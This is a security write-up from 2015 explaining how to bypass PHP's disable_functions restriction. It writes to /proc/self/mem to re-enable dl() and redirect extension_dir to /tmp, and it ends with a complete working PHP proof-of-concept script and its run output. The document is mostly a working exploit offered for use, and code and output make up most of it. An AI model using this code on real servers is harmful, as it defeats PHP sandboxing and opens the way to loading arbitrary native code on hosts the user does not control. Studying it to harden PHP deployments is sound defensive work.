Shoot zend_executor_globals to bypass disable_functions

Author: ylbhz

Mail/skype: ylbhz@hotmail.com

Date: 2015/9/7

Overview

One day I found a article written by a Russian, published on website https://rdot.org.He used fopen/fread/fwrite functions to manipulate memory file /proc/self/mem.By this way, we can replace the address of open() on the GOT with address of system().That means you can execute any os command by readfile().

Well, there're some conditions:

1) PHP must work in PHP-CGI/PHP-FPM/CLI mode.
2) POC code work on X86 platform.
3) Kernel version is upper than 2.98.
4) Option open_basedir = off

And some problems:

1) PHP worker will crash because that GOT have been modified.
2) Maybe it's unstable.

Good work! But this time, I will shoot the global configuration to open "God mode" ------ enable dl() and set extension_dir to directory /tmp.

Testing environment

```
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
```

Why is dl()?

This php function looks like dlopen(), It's easy to use to load more code what you want.Of course we can't use int_set() to set enable_dl option to true and set extension_dir to the directory owned by .Let's step by step.

Research structures

Struct _zend_executor_globals like this:

```
struct _zend_executor_globals {
    zval **return_value_ptr_ptr;

    zval uninitialized_zval;
    zval *uninitialized_zval_ptr;

    zval error_zval;
    zval *error_zval_ptr;

    zend_ptr_stack arg_types_stack;

    /* symbol table cache */
    HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
    HashTable **symtable_cache_limit;
    HashTable **symtable_cache_ptr;

    zend_op **opline_ptr;

    HashTable *active_symbol_table;
    HashTable symbol_table;             /* main symbol table */

    HashTable included_files;      /* files already included */

    JMP_BUF *bailout;

    int error_reporting; //value of error_reporting
    int orig_error_reporting;
    int exit_status;

    zend_op_array *active_op_array;

    HashTable *function_table;   /* function symbol table */
    HashTable *class_table;      /* class table */
    HashTable *zend_constants;  /* constants table */

    zend_class_entry *scope;
```

```
        zend_class_entry *called_scope; /\* Scope of the calling class *\/

        zval *This;

        long precision;

        int ticks_count; //10*8

        zend_bool in_execution;    //typedef unsigned char zend_bool;
        HashTable *in_autoload;
        zend_function *autoload_func;
        zend_bool full_tables_cleanup;

        /\* for extended information support *\/
        zend_bool no_extensions;

#ifdef ZEND_WIN32
        zend_bool timed_out;
        OSVERSIONINFOEX windows_version_info;
#endif

        HashTable regular_list;
        HashTable persistent_list;

        zend_vm_stack argument_stack;

        int user_error_handler_error_reporting;
        zval *user_error_handler;
        zval *user_exception_handler;
        zend_stack user_error_handlers_error_reporting;
        zend_ptr_stack user_error_handlers;
        zend_ptr_stack user_exception_handlers;

        zend_error_handling_t    error_handling;
        zend_class_entry           *exception_class;

        /\* timeout support *\/
        int timeout_seconds; //value of set_time_limit

        int lambda_count;

        HashTable *ini_directives; //configuration comes from php.ini
        HashTable *modified_ini_directives;
        zend_ini_entry *error_reporting_ini_entry;
```

```
    zend_objects_store objects_store;
    zval *exception, *prev_exception;
    zend_op *opline_before_exception;
    zend_op exception_op[3];

    struct _zend_execute_data *current_execute_data;

    struct _zend_module_entry *current_module;

    zend_property_info std_property_info;

    zend_bool active;

    zend_op *start_op;

    void *saved_fpu_cw_ptr;
#if XPFPA_HAVE_CW
    XPFPA_CW_DATATYPE saved_fpu_cw;
#endif

    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};
```

Pay attention to the member named ini_directives, Its structure like this:

```
typedef struct _hashtable {
    uint nTableSize;
    uint nTableMask;
    uint nNumOfElements;
    ulong nNextFreeElement;
    Bucket *pInternalPointer;     /* Used for element traversal */
    Bucket *pListHead;
    Bucket *pListTail;
    Bucket **arBuckets; //Item array
    dtor_func_t pDestructor; //pointer
    zend_bool persistent;
    unsigned char nApplyCount;
    zend_bool bApplyProtection;
#if ZEND_DEBUG
    int inconsistent;
#endif
} HashTable;
```

Each Bucket structure like this:

```
typedef struct bucket {
```

```
    ulong h;                                /\* Used for numeric indexing *\/
    uint nKeyLength;
    void *pData; //value of item
    void *pDataPtr;
    struct bucket *pListNext;
    struct bucket *pListLast;
    struct bucket *pNext;
    struct bucket *pLast;
    const char *arKey;
} Bucket;
```

In fact, pData is a pointer to a struct _zend_ini_entry here.

```
struct _zend_ini_entry {
int module_number;
int modifiable; //whether it can be modified
char *name; //name of option
uint name_length; //length of option name
ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value; //value of option
(.... etc ...)
}
```

There are some very important member. The modifiable sign to whether option can be modified by ini_set(), It works on BOOL options and we will use it enable enable_dl option. We can search the memory to find “enable_dl” and “extension_dir”.

Search options

First, I determine where to search.

```
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 08:01 4997702 /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702 /usr/bin/php5
00e94000-00ea1000 rw-p 00894000 08:01 4997702 /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0
0278f000-02a65000 rw-p 00000000 00:00 0 [heap]
...etc...
```

Of course you can use php code to search the memory maps.

Now, make a sign in memory by set_time_limit and error_reporting

```
error_reporting(0x66778899);
set_time_limit(0x41424344);
```

We use fopen() to open /proc/self/mem with rb option and seek to start of memory we will search.Then we search 0x66778899 in memory.

```
$mem = fopen("/proc/self/mem", "rb");
fseek($mem, 0x00ea1000);
for($i = 0;$i <    0x00ebe000 - 0x00ea1000;$i += 4)
{
    $num = unp(fread($mem, 4));
    if($num == 0x66778899) //set by error_reporting()
    {
        $offset = 0x00ea1000 + $i;
        printf("got noe, offset is:0x%x\r\n", $offset);
```

We can use error_reporting() to make sure if the address is we wanted.

```
        printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
        error_reporting(0x55667788);
        fseek($mem, $offset);
        $num = unp(fread($mem, 4));
        printf("The value is %x\r\n", $num);
        if($num == 0x55667788)
        {
            printf("I found the offset of executor_globals's member error_reporting\r\n");
...etc...
```

Next step, search timeout_seconds member in the same way.

```
            fseek($mem, $offset);
            fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
            $timeout = dump_value($mem, 4);
            if($timeout == 0x41424344) //set by set_time_limit()
            {
..etc...
```

Now, we make sure the address of struct _zend_executor_globals.That's easy to find ini_directives member and seek to Bucket **arBuckets.

```
                printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
                dump_value($mem, 4);
                $ini_dir = dump_value($mem, 8);
                printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
                fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
                $arBucket = dump_value($mem, 8);
                printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
                fseek($mem, $arBucket);
```

According to Bucket **arBuckets, we can traverse each option to find what we want.

```
                for($i = 0;$i < 1000;$i ++)
                {
```

```
                $bucket = dump_value($mem, 8);
                //printf("This bucket address maybe in 0x%016x\r\n", $bucket);
                fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
                $pdata = dump_value($mem, 8);
                dump_value($mem, 8);
                //printf("This pData address maybe in 0x%016x\r\n", $pdata);

                fseek($mem, $pdata + 8); //seek to char* name;
                $name = dump_value($mem, 8);
                $name_t = dump_value($mem, 4);
                //printf("This char name* address maybe in 0x%016x, length:%d\r\n",
$name, $name_t);
                fseek($mem, $name);
                $strname = fread($mem, $name_t);
                if(strlen($strname) == 0) break;
                //printf("ini key:%s\r\n", $strname);
                if(strncmp($strname, 'extension_dir', 13) == 0)
                {
...etc...
                        fseek($mem, $pdata + 56); //seek to char* value;
                        $value = dump_value($mem, 8);
                        $value_t = dump_value($mem, 4);
                        printf("This char value* address maybe in 0x%016x,
length:%d\r\n", $value, $value_t);
...etc...
```

Modify extension_dir to /tmp

```
                        $mem_w = fopen("/proc/self/mem", "wb");
                        fseek($mem_w, $value);
                        fwrite($mem_w, "/tmp\0", 5); //write /tmp value
                        printf("retry to get extension_dir value!!!!\r\n");
                        var_dump(ini_get('extension_dir'));
```

Modify modifiable member of enable_dl option

```
                        $modifiable = dump_value($mem, 4);
                        printf("org modifiable value is %x\r\n", $modifiable);
                        $mem_w = fopen("/proc/self/mem", "wb");
                        fseek($mem_w, $pdata + 4); //seek to modifiable
                        fwrite($mem_w, packli(7));
/* modifiable is a bit field
#define ZEND_INI_USER (1<0)
#define ZEND_INI_PERDIR (1<1)
#define ZEND_INI_SYSTEM (1<2)
*/
...etc...
```

```
                                printf("try ini_set enable_dl agen!!!!\r\n");
                                ini_set('enable_dl', true);
...etc...
```

Final to call dl() function

```
                                dl('not_exists');
```

Final result

```
ylbhz@ylbhz-Aspire-5750G:/tmp$ php
php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the extension_dir offset!
try to set extension_dir value /tmp by ini_set
try to get extension_dir value by ini_get
string(22) "/usr/lib/php5/20121212"
This char value* address maybe in 0x0000000000b5ea53, length:22
retry to get extension_dir value!!!!
string(4) "/tmp"
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the enable_dl offset!
try to set enable_dl value true by ini_set
try to get enable_dl value by ini_get
string(0) ""
try to run dl() function
PHP Warning: dl(): Dynamically loaded extensions aren't enabled in
/tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326
try to modifiy the modifiable member in memory!
org modifiable value is 4
now modifiable value is 7
try ini_set enable_dl agen!!!!
```

```
now enable_dl seting is
string(1) "1"
retry the dl() function!!!!
PHP Warning:  dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory
```

At last, php try to load dynamic library, we are successfully. The end of document contains the complete code.

.

I'm sorry to write a dynamic library is not the scope of this article.

Thank you

Thanks for reading and apologize for my terrible English.

Reference

https://rdot.org/forum/showthread.php?t=3309

http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitationPHP-SLIDES.pdf

Complete PHP code here:

```
<?php
error_reporting(0x66778899);
set_time_limit(0x41424344);
define('ZEND_INI_USER', (1<<0));
define('ZEND_INI_PERDIR', (1<<1));
define('ZEND_INI_SYSTEM', (1<<2));

$mem = fopen("/proc/self/mem", "rb");

//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i <   0x00ebe000 - 0x00ea1000;$i += 4)
{
    //echo 'x';
    $num = unp(fread($mem, 4));
    if($num == 0x66778899)
```

```
{
        $offset = 0x00ea1000 + $i;
        printf("got noe, offset is:0x%x\r\n", $offset);
        printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
        error_reporting(0x55667788);
        fseek($mem, $offset);
        $num = unp(fread($mem, 4));
        printf("The value is %x\r\n", $num);
        if($num == 0x55667788)
        {
                printf("I found the offset of executor_globals's member error_reporting\r\n");

                printf("read the structure\r\n");
                fseek($mem, $offset);
                fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
                $timeout = dump_value($mem, 4);
                if($timeout == 0x41424344)
                {
                        error_reporting(E_ALL); //restore the error reporting
                        printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
                        dump_value($mem, 4);
                        $ini_dir = dump_value($mem, 8);
                        printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
                        fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
                        $arBucket = dump_value($mem, 8);
                        printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
                        fseek($mem, $arBucket);
                        //try to get the first Bucket address
                        for($i = 0;$i < 1000;$i ++)
                        {
                                $bucket = dump_value($mem, 8);
                                //printf("This bucket address maybe in 0x%016x\r\n", $bucket);
                                fseek($mem, $bucket + 16); //seek to const void *pData; in struct
```

```
Bucket
                        $pdata = dump_value($mem, 8);
                        dump_value($mem, 8);
                        //printf("This pData address maybe in 0x%016x\r\n", $pdata);

                        fseek($mem, $pdata + 8); //seek to char* name;
                        $name = dump_value($mem, 8);
                        $name_t = dump_value($mem, 4);
                        //printf("This char name* address maybe in 0x%016x,
length:%d\r\n", $name, $name_t);
                        fseek($mem, $name);
                        $strname = fread($mem, $name_t);
                        if(strlen($strname) == 0) break;
                        //printf("ini key:%s\r\n", $strname);
                        if(strncmp($strname, 'extension_dir', 13) == 0)
                        {
                                printf("I found the extension_dir offset!\r\n");
                                printf("try to set extension_dir value /tmp by ini_set\r\n");
                                ini_set('extension_dir', '/tmp');
                                printf("try to get extension_dir value by ini_get\r\n");
                                var_dump(ini_get('extension_dir'));

                                // write string value
                                fseek($mem, $pdata + 56); //seek to char* value;
                                $value = dump_value($mem, 8);
                                $value_t = dump_value($mem, 4);
                                printf("This char value* address maybe in 0x%016x,
length:%d\r\n", $value, $value_t);

                                // write data part

                                $mem_w = fopen("/proc/self/mem", "wb");
                                fseek($mem_w, $value);
```

```
                                fwrite($mem_w, "/tmp\0", 5); //write /tmp value
                                printf("retry to get extension_dir value!!!!\r\n");
                                var_dump(ini_get('extension_dir'));

                                error_reporting(0x66778899);
                                break;
                        }
                        //seek to struct bucket *pListNext; ready to read next bucket's
address
                        fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;   it's so
strage!
                    }
                }

            }
            else
            {
                printf("now here, restore the value\r\n");
                error_reporting(0x66778899);
            }
        }
}



//set the enable_dl
fseek($mem, 0x00ea1000);
for($i = 0;$i <   0x00ebe000 - 0x00ea1000;$i += 4)
{
    $num = unp(fread($mem, 4));
    if($num == 0x66778899)
    {
        $offset = 0x00ea1000 + $i;
        printf("got noe, offset is:0x%x\r\n", $offset);
```

```
        printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
        error_reporting(0x55667788);
        fseek($mem, $offset);
        $num = unp(fread($mem, 4));
        printf("The value is %x\r\n", $num);
        if($num == 0x55667788)
        {
            printf("I found the offset of executor_globals's member error_reporting\r\n");

            printf("read the structure\r\n");
            fseek($mem, $offset);
            fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
            $timeout = dump_value($mem, 4);
            if($timeout == 0x41424344)
            {
                error_reporting(E_ALL); //restore the error reporting
                printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
                dump_value($mem, 4);
                $ini_dir = dump_value($mem, 8);
                printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
                fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
                $arBucket = dump_value($mem, 8);
                printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
                fseek($mem, $arBucket);
                //try to get the first Bucket address
                for($i = 0;$i < 1000;$i ++)
                {
                    $bucket = dump_value($mem, 8);
                    //printf("This bucket address maybe in 0x%016x\r\n", $bucket);
                    fseek($mem, $bucket + 16); //seek to const void *pData; in struct
Bucket
                    $pdata = dump_value($mem, 8);
                    dump_value($mem, 8);
```

```
                        //printf("This pData address maybe in 0x%016x\r\n", $pdata);


                        fseek($mem, $pdata + 8); //seek to char* name;
                        $name = dump_value($mem, 8);
                        $name_t = dump_value($mem, 4);
                        //printf("This char name* address maybe in 0x%016x,
length:%d\r\n", $name, $name_t);
                        fseek($mem, $name);
                        $strname = fread($mem, $name_t);
                        if(strlen($strname) == 0) break;
                        //printf("ini key:%s\r\n", $strname);
                        if(strncmp($strname, 'enable_dl', 9) == 0)
                        {
                                printf("I found the enable_dl offset!\r\n");
                                printf("try to set enable_dl value true by ini_set\r\n");
                                ini_set('enable_dl', true);
                                printf("try to get enable_dl value by ini_get\r\n");
                                var_dump(ini_get('enable_dl'));


                                printf("try to run dl() function\r\n");
                                dl('not_exists');


                                printf("try to modifiy the modifiable member in memory!\r\n");
                                fseek($mem, $pdata + 4);
                                $modifiable = dump_value($mem, 4);
                                printf("org modifiable value is %x\r\n", $modifiable);
                                $mem_w = fopen("/proc/self/mem", "wb");
                                fseek($mem_w, $pdata + 4); //seek to modifiable
                                fwrite($mem_w, packli(7));
                        //check
                                fseek($mem, $pdata + 4);
                                $modifiable = dump_value($mem, 4);
                                printf("now modifiable value is %x\r\n", $modifiable);
```

```
                                printf("try ini_set enable_dl agen!!!!\r\n");
                                ini_set('enable_dl', true);
                                printf("now enable_dl seting is\r\n");
                                var_dump(ini_get('enable_dl'));
                                printf("retry the dl() function!!!!\r\n");
                                ini_set('extension_dir', '/tmp');
                                dl('not_exists');



                                exit(0);
                        }
                        //seek to struct bucket *pListNext; ready to read next bucket's
address
                        fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;   it's so
strage!
                    }
                }

            }
            else
            {
                printf("now here, restore the value\r\n");
                error_reporting(0x66778899);
            }
        }
}
function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function dump_value($dh, $flag)
{
     switch($flag)
     {
```

```
            case 4: return unp(fread($dh, 4));
            case 8: return unp(fread($dh, 8));
        }
}
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}
function packli($value) {
    return pack('V', $value);
}
?>
```